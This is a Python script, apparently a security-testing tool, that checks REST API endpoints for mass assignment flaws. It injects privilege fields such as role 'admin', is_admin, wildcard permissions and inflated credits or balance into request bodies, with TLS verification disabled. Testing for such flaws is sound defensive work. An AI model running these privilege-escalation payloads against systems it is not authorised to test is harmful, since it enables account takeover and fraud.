#!/usr/bin/env python3 """Agent for detecting mass assignment vulnerabilities in REST APIs.""" import argparse import json from datetime import datetime, timezone try: import requests HAS_REQUESTS = True except ImportError: HAS_REQUESTS = False PRIVILEGE_FIELDS = [ "role", "roles", "is_admin", "isAdmin", "admin", "privilege", "permissions", "access_level", "user_type", "group", "groups", "verified", "is_verified", "email_verified", "active", "is_active", "approved", "is_approved", "subscription", "plan", "tier", "credits", "balance", "discount", ] def get_baseline_response(url, token=None): """Get baseline response to understand normal object structure.""" if not HAS_REQUESTS: return {} headers = {"Authorization": f"Bearer {token}"} if token else {} try: resp = requests.get(url, headers=headers, timeout=10, verify=False) return resp.json() except (requests.RequestException, json.JSONDecodeError): return {} def test_mass_assignment(url, method, base_data, extra_fields, token=None): """Test mass assignment by injecting extra fields in request body.""" if not HAS_REQUESTS: return [] findings = [] headers = {"Authorization": f"Bearer {token}"} if token else {} headers["Content-Type"] = "application/json" for field in extra_fields: test_values = { "role": "admin", "roles": ["admin"], "is_admin": True, "isAdmin": True, "admin": True, "permissions": ["*"], "access_level": 999, "verified": True, "is_verified": True, "active": True, "is_active": True, "credits": 99999, "balance": 99999, "plan": "enterprise", } payload = {**base_data, field: test_values.get(field, True)} try: if method.upper() == "POST": resp = requests.post(url, json=payload, headers=headers, timeout=10, verify=False) elif method.upper() == "PUT": resp = requests.put(url, json=payload, headers=headers, timeout=10, verify=False) elif method.upper() == "PATCH": resp = requests.patch(url, json=payload, headers=headers, timeout=10, verify=False) else: continue if resp.status_code in (200, 201): resp_data = resp.json() if resp.headers.get("content-type", "").startswith("application/json") else {} if field in str(resp_data): findings.append({ "field": field, "value_sent": test_values.get(field, True), "status_code": resp.status_code, "field_in_response": True, "severity": "CRITICAL" if field in ("role", "is_admin", "admin", "permissions") else "HIGH", }) except requests.RequestException: continue return findings def main(): parser = argparse.ArgumentParser( description="Detect mass assignment vulnerabilities in REST APIs (authorized testing only)" ) parser.add_argument("--url", required=True, help="API endpoint URL") parser.add_argument("--method", default="PUT", choices=["POST", "PUT", "PATCH"]) parser.add_argument("--data", required=True, help="Base request JSON data") parser.add_argument("--token", help="Bearer token") parser.add_argument("--fields", nargs="*", help="Custom fields to test") parser.add_argument("--output", "-o", help="Output JSON report") args = parser.parse_args() print("[*] Mass Assignment Testing Agent") print("[!] For authorized security testing only") base_data = json.loads(args.data) extra_fields = args.fields or PRIVILEGE_FIELDS findings = test_mass_assignment(args.url, args.method, base_data, extra_fields, args.token) report = { "timestamp": datetime.now(timezone.utc).isoformat(), "target": args.url, "fields_tested": len(extra_fields), "findings": findings, "risk_level": "CRITICAL" if any(f["severity"] == "CRITICAL" for f in findings) else "HIGH" if findings else "LOW", } print(f"[*] Tested {len(extra_fields)} fields, {len(findings)} accepted") if args.output: with open(args.output, "w") as f: json.dump(report, f, indent=2) print(f"[*] Report saved to {args.output}") else: print(json.dumps(report, indent=2)) if __name__ == "__main__": main()